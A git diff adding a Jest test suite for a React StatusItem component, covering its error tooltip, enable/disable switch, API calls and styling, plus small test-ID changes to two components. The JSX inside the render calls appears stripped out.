Assert - tooltip trigger element should exist + const tooltipTrigger = screen.getByTestId('error-tooltip-trigger') + expect(tooltipTrigger).toBeInTheDocument() + }) + + it('should show error message on hover', async () => { + // Arrange + renderWithProviders( + , + ) + + // Act - hover the tooltip trigger + const tooltipTrigger = screen.getByTestId('error-tooltip-trigger') + fireEvent.mouseEnter(tooltipTrigger) + + // Assert - wait for tooltip content to appear + expect(await screen.findByText('Something went wrong')).toBeInTheDocument() + }) + + it('should not render tooltip trigger when errorMessage is not provided', () => { + // Arrange & Act + renderWithProviders() + + // Assert - tooltip trigger should not exist + const tooltipTrigger = screen.queryByTestId('error-tooltip-trigger') + expect(tooltipTrigger).not.toBeInTheDocument() + }) + + it('should not render tooltip trigger when errorMessage is empty', () => { + // Arrange & Act + renderWithProviders() + + // Assert - tooltip trigger should not exist + const tooltipTrigger = screen.queryByTestId('error-tooltip-trigger') + expect(tooltipTrigger).not.toBeInTheDocument() + }) + }) + + // detail prop tests + describe('detail prop', () => { + it('should use default values when detail is undefined', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert - switch should be unchecked (defaultValue = false when archived = false and enabled = false) + const switchEl = screen.getByRole('switch') + expect(switchEl).toHaveAttribute('aria-checked', 'false') + }) + + it('should use enabled value from detail', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert + const switchEl = screen.getByRole('switch') + expect(switchEl).toHaveAttribute('aria-checked', 'true') + }) + + it('should set switch to false when archived regardless of enabled', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert - archived overrides enabled, defaultValue becomes false + const switchEl = screen.getByRole('switch') + expect(switchEl).toHaveAttribute('aria-checked', 'false') + }) + }) + }) + + // ==================== Memoization Tests ==================== + // Test useMemo logic for embedding status (disables switch) + describe('Memoization', () => { + it.each([ + ['queuing', true], + ['indexing', true], + ['paused', true], + ['available', false], + ['enabled', false], + ['disabled', false], + ['archived', false], + ['error', false], + ] as const)('should correctly identify embedding status for "%s" - disabled: %s', (status, isEmbedding) => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert - check if switch is visually disabled (via CSS classes) + // The Switch component uses CSS classes for disabled state, not the native disabled attribute + const switchEl = screen.getByRole('switch') + if (isEmbedding) + expect(switchEl).toHaveClass('!cursor-not-allowed', '!opacity-50') + else + expect(switchEl).not.toHaveClass('!cursor-not-allowed') + }) + + it('should disable switch when archived', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert - visually disabled via CSS classes + const switchEl = screen.getByRole('switch') + expect(switchEl).toHaveClass('!cursor-not-allowed', '!opacity-50') + }) + + it('should disable switch when both embedding and archived', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert - visually disabled via CSS classes + const switchEl = screen.getByRole('switch') + expect(switchEl).toHaveClass('!cursor-not-allowed', '!opacity-50') + }) + }) + + // ==================== Switch Toggle Tests ==================== + // Test Switch toggle interactions + describe('Switch Toggle', () => { + it('should call enable operation when switch is toggled on', async () => { + // Arrange + const mockOnUpdate = jest.fn() + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + await waitFor(() => { + expect(mockEnableDocument).toHaveBeenCalledWith({ + datasetId: 'dataset-123', + documentId: 'doc-123', + }) + }) + }) + + it('should call disable operation when switch is toggled off', async () => { + // Arrange + const mockOnUpdate = jest.fn() + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + await waitFor(() => { + expect(mockDisableDocument).toHaveBeenCalledWith({ + datasetId: 'dataset-123', + documentId: 'doc-123', + }) + }) + }) + + it('should not call any operation when archived', () => { + // Arrange + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + expect(mockEnableDocument).not.toHaveBeenCalled() + expect(mockDisableDocument).not.toHaveBeenCalled() + }) + + it('should render switch as checked when enabled is true', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert - verify switch shows checked state + const switchEl = screen.getByRole('switch') + expect(switchEl).toHaveAttribute('aria-checked', 'true') + }) + + it('should render switch as unchecked when enabled is false', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert - verify switch shows unchecked state + const switchEl = screen.getByRole('switch') + expect(switchEl).toHaveAttribute('aria-checked', 'false') + }) + + it('should skip enable operation when props.enabled is true (guard branch)', () => { + // Covers guard condition: if (operationName === 'enable' && enabled) return + // Note: The guard checks props.enabled, NOT the Switch's internal UI state. + // This prevents redundant API calls when the UI toggles back to a state + // that already matches the server-side data (props haven't been updated yet). + const mockOnUpdate = jest.fn() + renderWithProviders( + , + ) + + const switchEl = screen.getByRole('switch') + // First click: Switch UI toggles OFF, calls disable (props.enabled=true, so allowed) + fireEvent.click(switchEl) + // Second click: Switch UI toggles ON, tries to call enable + // BUT props.enabled is still true (not updated), so guard skips the API call + fireEvent.click(switchEl) + + // Assert - disable was called once, enable was skipped because props.enabled=true + expect(mockDisableDocument).toHaveBeenCalledTimes(1) + expect(mockEnableDocument).not.toHaveBeenCalled() + }) + + it('should skip disable operation when props.enabled is false (guard branch)', () => { + // Covers guard condition: if (operationName === 'disable' && !enabled) return + // Note: The guard checks props.enabled, NOT the Switch's internal UI state. + // This prevents redundant API calls when the UI toggles back to a state + // that already matches the server-side data (props haven't been updated yet). + const mockOnUpdate = jest.fn() + renderWithProviders( + , + ) + + const switchEl = screen.getByRole('switch') + // First click: Switch UI toggles ON, calls enable (props.enabled=false, so allowed) + fireEvent.click(switchEl) + // Second click: Switch UI toggles OFF, tries to call disable + // BUT props.enabled is still false (not updated), so guard skips the API call + fireEvent.click(switchEl) + + // Assert - enable was called once, disable was skipped because props.enabled=false + expect(mockEnableDocument).toHaveBeenCalledTimes(1) + expect(mockDisableDocument).not.toHaveBeenCalled() + }) + }) + + // ==================== onUpdate Callback Tests ==================== + // Test onUpdate callback behavior + describe('onUpdate Callback', () => { + it('should call onUpdate with operation name on successful enable', async () => { + // Arrange + const mockOnUpdate = jest.fn() + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + await waitFor(() => { + expect(mockOnUpdate).toHaveBeenCalledWith('enable') + }) + }) + + it('should call onUpdate with operation name on successful disable', async () => { + // Arrange + const mockOnUpdate = jest.fn() + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + await waitFor(() => { + expect(mockOnUpdate).toHaveBeenCalledWith('disable') + }) + }) + + it('should not call onUpdate when operation fails', async () => { + // Arrange + mockEnableDocument.mockRejectedValue(new Error('API Error')) + const mockOnUpdate = jest.fn() + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + await waitFor(() => { + expect(mockNotify).toHaveBeenCalledWith({ + type: 'error', + message: 'common.actionMsg.modifiedUnsuccessfully', + }) + }) + expect(mockOnUpdate).not.toHaveBeenCalled() + }) + + it('should not throw when onUpdate is not provided', () => { + // Arrange + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + + // Assert - should not throw + expect(() => fireEvent.click(switchEl)).not.toThrow() + }) + }) + + // ==================== API Calls ==================== + // Test API operations and toast notifications + describe('API Operations', () => { + it('should show success toast on successful operation', async () => { + // Arrange + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + await waitFor(() => { + expect(mockNotify).toHaveBeenCalledWith({ + type: 'success', + message: 'common.actionMsg.modifiedSuccessfully', + }) + }) + }) + + it('should show error toast on failed operation', async () => { + // Arrange + mockDisableDocument.mockRejectedValue(new Error('Network error')) + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + await waitFor(() => { + expect(mockNotify).toHaveBeenCalledWith({ + type: 'error', + message: 'common.actionMsg.modifiedUnsuccessfully', + }) + }) + }) + + it('should pass correct parameters to enable API', async () => { + // Arrange + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + await waitFor(() => { + expect(mockEnableDocument).toHaveBeenCalledWith({ + datasetId: 'test-dataset-id', + documentId: 'test-doc-id', + }) + }) + }) + + it('should pass correct parameters to disable API', async () => { + // Arrange + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + await waitFor(() => { + expect(mockDisableDocument).toHaveBeenCalledWith({ + datasetId: 'test-dataset-456', + documentId: 'test-doc-456', + }) + }) + }) + }) + + // ==================== Edge Cases ==================== + // Test boundary conditions and unusual inputs + describe('Edge Cases', () => { + it('should handle empty datasetId', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert - should render without errors + expect(screen.getByRole('switch')).toBeInTheDocument() + }) + + it('should handle undefined detail gracefully', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert + const switchEl = screen.getByRole('switch') + expect(switchEl).toHaveAttribute('aria-checked', 'false') + }) + + it('should handle empty string id in detail', async () => { + // Arrange + renderWithProviders( + , + ) + + // Act + const switchEl = screen.getByRole('switch') + fireEvent.click(switchEl) + + // Assert + await waitFor(() => { + expect(mockEnableDocument).toHaveBeenCalledWith({ + datasetId: 'dataset-123', + documentId: '', + }) + }) + }) + + it('should handle very long error messages', async () => { + // Arrange + const longErrorMessage = 'A'.repeat(500) + renderWithProviders( + , + ) + + // Act - hover to show tooltip + const tooltipTrigger = screen.getByTestId('error-tooltip-trigger') + fireEvent.mouseEnter(tooltipTrigger) + + // Assert + await waitFor(() => { + expect(screen.getByText(longErrorMessage)).toBeInTheDocument() + }) + }) + + it('should handle special characters in error message', async () => { + // Arrange + const specialChars = ' & < > " \'' + renderWithProviders( + , + ) + + // Act - hover to show tooltip + const tooltipTrigger = screen.getByTestId('error-tooltip-trigger') + fireEvent.mouseEnter(tooltipTrigger) + + // Assert + await waitFor(() => { + expect(screen.getByText(specialChars)).toBeInTheDocument() + }) + }) + + it('should handle all status types in sequence', () => { + // Arrange + const statuses: DocumentDisplayStatus[] = [ + 'queuing', 'indexing', 'paused', 'error', + 'available', 'enabled', 'disabled', 'archived', + ] + + // Act & Assert + statuses.forEach((status) => { + const { unmount } = renderWithProviders() + const indicator = screen.getByTestId('status-indicator') + expect(indicator).toBeInTheDocument() + unmount() + }) + }) + }) + + // ==================== Component Memoization ==================== + // Test React.memo behavior + describe('Component Memoization', () => { + it('should be wrapped with React.memo', () => { + // Assert + expect(StatusItem).toHaveProperty('$$typeof', Symbol.for('react.memo')) + }) + + it('should render correctly with same props', () => { + // Arrange + const props = { + status: 'available' as const, + scene: 'detail' as const, + detail: createDetailProps(), + } + + // Act + const { rerender } = renderWithProviders() + rerender( + + + , + ) + + // Assert + const indicator = screen.getByTestId('status-indicator') + expect(indicator).toBeInTheDocument() + }) + + it('should update when status prop changes', () => { + // Arrange + const { rerender } = renderWithProviders() + + // Assert initial - green/success background + let indicator = screen.getByTestId('status-indicator') + expect(indicator).toHaveClass('bg-components-badge-status-light-success-bg') + + // Act + rerender( + + + , + ) + + // Assert updated - red/error background + indicator = screen.getByTestId('status-indicator') + expect(indicator).toHaveClass('bg-components-badge-status-light-error-bg') + }) + }) + + // ==================== Styling Tests ==================== + // Test CSS classes and styling + describe('Styling', () => { + it('should apply correct status text color for green status', () => { + // Arrange & Act + renderWithProviders() + + // Assert + const statusText = screen.getByText('datasetDocuments.list.status.available') + expect(statusText).toHaveClass('text-util-colors-green-green-600') + }) + + it('should apply correct status text color for red status', () => { + // Arrange & Act + renderWithProviders() + + // Assert + const statusText = screen.getByText('datasetDocuments.list.status.error') + expect(statusText).toHaveClass('text-util-colors-red-red-600') + }) + + it('should apply correct status text color for orange status', () => { + // Arrange & Act + renderWithProviders() + + // Assert + const statusText = screen.getByText('datasetDocuments.list.status.queuing') + expect(statusText).toHaveClass('text-util-colors-warning-warning-600') + }) + + it('should apply correct status text color for blue status', () => { + // Arrange & Act + renderWithProviders() + + // Assert + const statusText = screen.getByText('datasetDocuments.list.status.indexing') + expect(statusText).toHaveClass('text-util-colors-blue-light-blue-light-600') + }) + + it('should apply correct status text color for gray status', () => { + // Arrange & Act + renderWithProviders() + + // Assert + const statusText = screen.getByText('datasetDocuments.list.status.disabled') + expect(statusText).toHaveClass('text-text-tertiary') + }) + + it('should render switch with md size in detail scene', () => { + // Arrange & Act + renderWithProviders( + , + ) + + // Assert - check switch has the md size class (h-4 w-7) + const switchEl = screen.getByRole('switch') + expect(switchEl).toHaveClass('h-4', 'w-7') + }) + }) +}) diff --git a/web/app/components/datasets/documents/status-item/index.tsx b/web/app/components/datasets/documents/status-item/index.tsx index 4ab7246a29..4adb622747 100644 --- a/web/app/components/datasets/documents/status-item/index.tsx +++ b/web/app/components/datasets/documents/status-item/index.tsx @@ -105,6 +105,7 @@ const StatusItem = ({
{errorMessage}
} triggerClassName='ml-1 w-4 h-4' + triggerTestId='error-tooltip-trigger' /> ) } diff --git a/web/app/components/header/indicator/index.tsx b/web/app/components/header/indicator/index.tsx index 8d27825247..d3a49a9714 100644 --- a/web/app/components/header/indicator/index.tsx +++ b/web/app/components/header/indicator/index.tsx @@ -47,6 +47,7 @@ export default function Indicator({ }: IndicatorProps) { return (